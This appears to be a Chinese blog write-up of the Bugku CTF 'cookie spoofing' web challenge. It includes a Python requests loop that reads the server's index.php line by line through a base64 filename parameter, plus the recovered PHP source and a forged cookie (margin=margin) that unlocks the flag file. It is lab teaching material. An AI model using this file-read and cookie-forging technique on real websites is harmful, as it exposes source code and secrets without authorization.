bugkuctf cookie欺骗

bugkuctf cookie 欺骗

打开页面后是一堆的乱码,我们可以从f12看到它的url包含了line=&filename=a2V5cy50eHQ=
在线解密base64,发现了文件名是keys.txt
我们可以试着改变文件名称将它的index.php给复现出来。
例如:
在这里插入图片描述
由于index.php的行数,我们可以用request库 的脚本将它还原出来,得到index.php的源码

import requests
for i in range (30):
        url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
        s=requests.get(url)
        print(s.text)

得到:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

根据源码我们可以看到,他先对urlfilename后面的base64进行了解码,如果file没有传递,就显示index.php?line=&filename=a2V5cy50eHQ="
它的文件数组存储了了两个文件名,keys.txt和index.php,如果,cookie的margin=margin,那么数组就加入了keys.php,猜想,keys.php,就是我们想要的到的flag
所以,抓包,更改信息,得到flag:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值